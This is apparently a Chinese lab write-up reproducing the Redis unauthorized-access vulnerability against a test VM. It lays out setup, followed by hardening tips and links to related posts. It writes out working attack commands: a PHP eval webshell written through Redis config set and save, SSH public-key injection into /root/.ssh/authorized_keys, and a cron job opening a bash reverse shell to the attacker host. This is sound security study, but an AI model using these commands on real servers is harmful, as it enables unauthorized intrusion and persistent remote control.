Redis

redis(remote dictionary server)是一个 key-value 存储系统,是跨平台的非关系型数据库。

redis 默认情况下,会绑定在0.0.0.0:6379,如果没有采用相关的安全策略限制,redis服务会暴露在服务器公网上。如果此时又没有设置密码认证(默认为空),则会导致任意用户在可以访问目标服务器的情况下未授权访问redis以及读取redis的数据。

漏洞的产生条件及利用

漏洞的影响版本

redis 2.x,3.x,4.x,5.x

漏洞的产生条件

1、redis绑定在0.0.0.0:6379,没有采用相关的安全策略限制,直接暴露在公网。

2、没有设置密码认证,可以免密码远程登录redis服务。

漏洞如何利用

1、利用redis写入webshell

2、利用redis写入ssh公钥

3、利用redis写入计划任务

Redis环境搭建

第一种方式:下载安装符合漏洞版本的redis并解压,进入到redis目录中,执行make,通过make编译的方式来安装。

第二种方式:使用docker搭建vulhub靶场环境。

踩坑:

建议使用第一种方式,我用vulhub复现的时候存在redis不是root权限启动的问题:

设置路径为/root/.ssh/时报错:(error) ERR Changing directory: Permission denied

查阅相关文章,说redis并不是以root启动的,可能需要修改docker-compose.yml配置以root用户来运行容器、参考文章docker-compose privileged root,尝试了设置privileged:true让容器以root权限运行,但是修改配置以后,重新构建环境失败。

首先下载安装符合漏洞利用的低版本redis:

wget http://download.redis.io/releases/redis-2.8.17.tar.gz

解压安装包:

tar xzf redis-2.8.17.tar.gz

进入redis目录编译安装:

cd redis-2.8.17
make

make结束后,进入src/目录启动服务:

cd src/
redis-server ../redis.conf

可以看出redis服务6379已经启动,nmap扫描到目标主机的6379端口为open状态。

如果nmap扫描到的6379端口没有开放,需要关闭防火墙,云主机需要在安全组开放端口。

漏洞复现

环境:靶机Ubuntu IP:192.168.88.150 攻击机Kali IP:192.168.88.128

利用Redis写入Webshell

服务端的redis默认没有设置密码认证,在攻击机上能用redis-cli可以直接登陆连接。若服务端存在Web服务,并且知道Web目录的绝对路径,那么可以向该目录写入webshell,然后使用蚁剑之类的工具连接getshell。

Kali安装redis-cli远程连接工具:

wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable
make

安装完毕以后,进入src/目录使用redis-cli登录:

redis-cli -h 目标主机IP

默认情况下requirepass参数是空的,也就是说默认情况下是无密码验证的,这是未授权访问的利用的条件之一。

nmap探测到靶机开启了Web服务器。

已知Web目录的路径为/var/www/html。

将dir设置为/var/www/html目录,意为将指定本地数据库存放目录设置为/var/www/html。将dbfilename设置为文件名shell.php,即指定本地数据库文件名为shell.php。再执行save命令就可以写入一个路径为/var/www/html/shell.php的文件,save命令将当前redis实例的数据写入到磁盘,持久化保存。

写webshell的时候,可以使用:

set webshell "\r\n\r\n<?php eval($_POST[whoami]);?>\r\n\r\n"

\r\n\r\n 是换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行。

进入靶机查看,如下图所示说明webshell写入成功。

使用蚁剑连接成功:

利用Redis写入SSH公钥

通过redis向目标服务器写入ssh公钥,将公钥放到linux系统的/root/.ssh/authorized_keys的文件中,本地客户端通过对应的私钥进行免密登录。

条件是服务端存在.ssh目录并且有写入的权限,还需要redis是root启动,因为非root权限无法进入/root目录。

首先在攻击机的/root/.ssh目录里生成ssh公钥key:

cd ~/.ssh
ssh-keygen -t rsa

接着将公钥写入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合):

(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > /root/.ssh/key.txt

连接目标服务器上的redis服务,将保存的公钥key.txt写入redis数据库:

cat /root/.ssh/key.txt | redis-cli -h 192.168.88.150 -x set pkey

使用redis-cli -h ip,将文件写入:

连接目标机器redis,设置redis的路径为/root/.ssh/和保存文件名为authorized_keys,然后保存。

config set dir /root/.ssh
config set dbfilename authorized_keys

ssh利用私钥成功登录。

利用Redis写入计划任务

写入计划任务和写webshell和ssh公钥的原理类似,连接服务端的redis,写入反弹shell的计划任务:

config set dir /var/spool/cron/crontabs
config set dbfilename root
set x "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.88.128/12345 0>&1\n\n"
save

然后Kali上监听12345端口:

nc -lvp 12345

虽然靶机被写入反弹命的定时任务,但是kali上一直没有收到:

查看crontab的日志输出了 cron[808]: (root) INSECURE MODE (mode 0600 expected) (crontabs/root)

原因:

因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/<username>权限必须是600才会执行,否则就会报错(root) INSECURE MODE (mode 0600 expected)。

所以这个方法在Ubuntu上行不通。

综上无法利用的原因可能有:redis不是以root权限启动,没有可以写入文件的路径或权限,文件权限不足等。

Redis安全防护

  • 绑定本地登录地址:在配置文件中设置 bind 127.0.0.1,限制仅本地访问

  • 设置复杂密码:不使用默认空密码,设置一个强复杂密码

  • 禁用远程连接:设置 protected-mode 和 rename-command 防止远程连接

  • 网络隔离:将 Redis 服务放在内网环境,不向公网开放端口

  • 账号权限控制:设置只允许特定账号从指定IP进行访问

  • 认证机制扩展:通过插件进行LDAP、Kerberos等认证控制

  • TLS加密传输:使用SSL证书对连接进行加密保护

  • 实时监控:监控并阻止异常访问和命令执行

参考文章:

https://www.ddosi.org/redis-ssh/

https://www.ddosi.org/redis未授权访问漏洞-漏洞复现-漏洞利用方式/


若有错误,欢迎指正!o( ̄▽ ̄)ブ

Redis未授权漏洞复现的更多相关文章

  1. redis 未授权漏洞利用直接登录服务器

    在没有查到杀手之前我是先把带宽&端口用iptables 做了限制这样能保证我能远程操作服务器才能查找原因 2 在各种netstat –ntlp  的查看下没有任何异常 在top 下查到了有异常 ...

  2. Redis未授权漏洞利用方式

    总结一下redis未授权拿shell: redis-cli -h ip >info 查看系统类型 Windows: 1.找网站绝对路径 2.config set dir 绝对路径根路径 conf ...

  3. Redis未授权漏洞检测工具

    Redis未授权检测小工具 #!/usr/bin/python3 # -*- coding: utf-8 -*- """ @Author: r0cky @Time: 20 ...

  4. redis未授权漏洞和主从复制rce漏洞利用

    未授权无需认证访问内部数据库. 利用计划任务反弹shell redis-cli -h 192.168.2.6 set x "\n* * * * * bash -i >& /de ...

  5. 服务器由于redis未授权漏洞被攻击

    昨天阿里云拦截到了一次异常登陆,改了密码后就没有管他, 今天阿里云给我发消息说我的服务器可能被黑客利用,存在恶意发包行为....... 不过我不打算只是单纯的重置系统,经过一系列的查找原因后,发现被攻 ...

  6. Redis未授权访问漏洞复现及修复方案

    首先,第一个复现Redis未授权访问这个漏洞是有原因的,在 2019-07-24 的某一天,我同学的服务器突然特别卡,卡到连不上的那种,通过 top,free,netstat 等命令查看后发现,CPU ...

  7. 浅谈Redis未授权访问漏洞

    Redis未授权访问漏洞 Redis是一种key-value键值对的非关系型数据库 默认情况下绑定在127.0.0.1:6379,在没有进行采用相关的策略,如添加防火墙规则避免其他非信任来源ip访问等 ...

  8. 利用redis未授权访问漏洞(windows版)

    0x00 原理   首先需要知道的是,redis是一种非关系型数据库.它在默认情况下,绑定在0.0.0.0:6379 ,若不采取相关策略,比如添加防火墙限制非信任IP访问,会使得redis服务暴露到公 ...

  9. redis未授权getshell的4种方式

    前言 redis未授权漏洞或弱口令一直是很有用的渗透突破口,最近正好闲的无事就拿redis来测试一些,做一个简单的收集,方便自己日后的回顾. 漏洞描述 Redis 默认情况下,会绑定在 0.0.0.0 ...

  10. 10.Redis未授权访问漏洞复现与利用

    一.漏洞简介以及危害: 1.什么是redis未授权访问漏洞: Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等 ...

随机推荐

  1. 构建 OpenWrt

    OpenWrt 是一款路由器操作系统.如果你想要给自己的路由器安装 OpenWrt 的话,一般来说使用别人已经构建好的 OpenWrt 固件就够用了.当然如果你闲得没事干,那么也可以自己构建固件. P ...

  2. Ubuntu 安裝 RIME 輸入法

    RIME (Rime Input Method Engine,中州韻,中州韵)是一款很火的輸入法,虽然我目前还不知道它为什么火,不过先用用再说. 首先要吐槽一下 RIME 的说明文档,我感觉有点乱,第 ...

  3. 【Docker学习系列】Docker学习1-docker安装

    从本篇开始,凯哥将和大家一起学学docker.本篇是docker学习系列第一篇:安装docker. docker安装前提条件:目前,centos发行版中的内核支持Docker.Docker运行在Cen ...

  4. ElasticSearch-hard插件及IK分词器安装

    ElasticSearch-hard插件及IK分词器安装 编辑 ​ 通过上一篇学习,我们学会了ElasticSearch的安装及访问到了如下页面: 编辑 ​ ElasticSearch-head插件安 ...

  5. express项目的创建

    前言 前端开发者若要进行后端开发,大多都会选择node.js,在node生态下是有大量框架的,其中最受新手喜爱的便是老牌的express.js,接下来我们就从零创建一个express项目. 安装nod ...

  6. 使用 nuxi preview 命令预览 Nuxt 应用

    title: 使用 nuxi preview 命令预览 Nuxt 应用 date: 2024/9/8 updated: 2024/9/8 author: cmdragon excerpt: 摘要:本文 ...

  7. 物体检测序列之一:NMS

    IoU (Intersection over Union),交并比,是衡量物体检测模型在特定数据集上检测效果好坏的一个常用的标准,通常情况下,想要通过IoU来衡量物体检测模型好坏需要具备以下几点: 1 ...

  8. Identity – 冷知识

    RoleManager, RoleStore, EF Core 关系 RoleManager 可以理解为一个上层 service, 是让我们操作 Role 的. 比如 create, update, ...

  9. sicp每日一题[2.13-2.16]

    Exercise 2.13 Show that under the assumption of small percentage tolerances there is a simple formul ...

  10. String 的 intern() 方法

    问题: String s1 = "a" + "b"; //创建了几个对象? String s2 = new String("ab"); // ...